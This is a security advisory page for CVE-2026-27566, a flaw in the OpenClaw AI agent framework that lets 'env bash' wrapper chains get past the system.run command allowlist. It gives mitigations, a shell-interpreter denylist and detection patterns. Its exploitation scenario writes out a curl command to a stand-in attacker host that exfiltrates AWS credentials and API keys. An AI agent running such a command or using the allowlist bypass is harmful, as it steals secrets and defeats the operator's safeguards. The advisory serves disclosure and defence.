CVE-2026-27566: OpenClaw: allowlist bypass enables arbitrary OS command exec
HIGHOpenClaw's system.run tool fails to recursively unwrap shell dispatcher wrapper chains — an attacker routes commands through binaries like 'env bash' that satisfy allowlist checks while silently executing arbitrary payloads beneath them. With a network-accessible attack vector, low attack complexity, and only low privileges required (CVSS 7.1), any authenticated user of an OpenClaw deployment can achieve arbitrary OS command execution on the host. EPSS places this in the top 67th percentile for exploitation likelihood, and AIID #1368 already documents credential theft via malicious OpenClaw skills, signaling this ecosystem is actively targeted. Upgrade immediately to OpenClaw 2026.2.22 or later; if patching is blocked, disable system.run or restrict agent tool configurations to exclude shell interpreter invocation.
What is the risk?
High risk in any OpenClaw deployment that exposes the system.run tool. Network accessibility, low privileges, and low attack complexity mean exploitation is trivial for any authenticated user — no specialized AI knowledge required. The 396 other CVEs in this package signal persistent security debt, and the ai_agent category means compromise can cascade into broader agentic pipeline abuse including credential exfiltration and lateral movement. Absence from CISA KEV and lack of a public exploit moderates immediate widespread risk, but the bypass technique is straightforward enough that weaponization is expected once the advisory is public.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| OpenClaw | pip | — | No patch |
Do you use OpenClaw? You're affected.
How severe is it?
What is the attack surface?
What should I do?
5 steps-
Patch: Upgrade OpenClaw to 2026.2.22 or later (patch commit 2b63592).
-
Workaround: If patching is not immediately possible, disable system.run in agent tool configurations or enforce a denylist blocking shell interpreter invocations (bash, sh, env, exec, xargs).
-
Detection: Audit agent subprocess logs for patterns where allowlisted binaries spawn shell interpreters as children (e.g., env → bash, env → sh). Alert on 'bash -c' or 'sh -c' in OpenClaw process trees.
-
Least privilege: Audit all OpenClaw agent configurations and remove system.run where not strictly required.
-
Network segmentation: Restrict OpenClaw agent API access to trusted internal callers only to reduce attack surface.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-27566?
OpenClaw's system.run tool fails to recursively unwrap shell dispatcher wrapper chains — an attacker routes commands through binaries like 'env bash' that satisfy allowlist checks while silently executing arbitrary payloads beneath them. With a network-accessible attack vector, low attack complexity, and only low privileges required (CVSS 7.1), any authenticated user of an OpenClaw deployment can achieve arbitrary OS command execution on the host. EPSS places this in the top 67th percentile for exploitation likelihood, and AIID #1368 already documents credential theft via malicious OpenClaw skills, signaling this ecosystem is actively targeted. Upgrade immediately to OpenClaw 2026.2.22 or later; if patching is blocked, disable system.run or restrict agent tool configurations to exclude shell interpreter invocation.
Is CVE-2026-27566 actively exploited?
No confirmed active exploitation of CVE-2026-27566 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-27566?
1. Patch: Upgrade OpenClaw to 2026.2.22 or later (patch commit 2b63592). 2. Workaround: If patching is not immediately possible, disable system.run in agent tool configurations or enforce a denylist blocking shell interpreter invocations (bash, sh, env, exec, xargs). 3. Detection: Audit agent subprocess logs for patterns where allowlisted binaries spawn shell interpreters as children (e.g., env → bash, env → sh). Alert on 'bash -c' or 'sh -c' in OpenClaw process trees. 4. Least privilege: Audit all OpenClaw agent configurations and remove system.run where not strictly required. 5. Network segmentation: Restrict OpenClaw agent API access to trusted internal callers only to reduce attack surface.
What systems are affected by CVE-2026-27566?
This vulnerability affects the following AI/ML architecture patterns: agent frameworks, AI automation pipelines, multi-agent orchestrations, local AI agent deployments.
What is the CVSS score for CVE-2026-27566?
CVE-2026-27566 has a CVSS v3.1 base score of 7.1 (HIGH). The EPSS exploitation probability is 0.42%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0049 Exploit Public-Facing Application AML.T0050 Command and Scripting Interpreter AML.T0053 AI Agent Tool Invocation AML.T0107 Exploitation for Defense Evasion AML.T0112.000 Local AI Agent Compliance Controls Affected
What are the technical details?
Original Advisory
OpenClaw versions prior to 2026.2.22 contain an allowlist bypass vulnerability in system.run exec analysis that fails to unwrap env and shell-dispatch wrapper chains. Attackers can route execution through wrapper binaries like env bash to smuggle payloads that satisfy allowlist entries while executing non-allowlisted commands.
Exploitation Scenario
An attacker with low-privilege access — a compromised trial account or malicious insider — sends a crafted system.run invocation specifying 'env bash -c "curl attacker.com/exfil?d=$(cat ~/.aws/credentials | base64)"'. The allowlist validator evaluates only the top-level binary ('env'), finds it permitted, and passes execution without unwrapping the subsequent shell dispatcher argument chain. Bash executes the payload as the agent process, exfiltrating cloud credentials or Anthropic API keys from host environment variables. In a multi-tenant or enterprise deployment where OpenClaw agents share infrastructure with other AI services, this single low-privilege entry point escalates to full pipeline compromise.
Weaknesses (CWE)
CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'): The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
- [Architecture and Design] If at all possible, use library calls rather than external processes to recreate the desired functionality.
- [Architecture and Design, Operation] Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L References
Timeline
Related Vulnerabilities
CVE-2026-33579 9.9 OpenClaw: scope bypass escalates low-priv to admin
Same package: openclaw CVE-2026-32922 9.9 OpenClaw: privilege escalation to RCE via token scope bypass
Same package: openclaw CVE-2026-30741 9.8 OpenClaw: RCE via request-side prompt injection
Same package: openclaw CVE-2026-32038 9.8 OpenClaw: sandbox bypass enables container lateral movement
Same package: openclaw CVE-2026-53838 9.8 OpenClaw: approval scope bypass via reconnection state
Same package: openclaw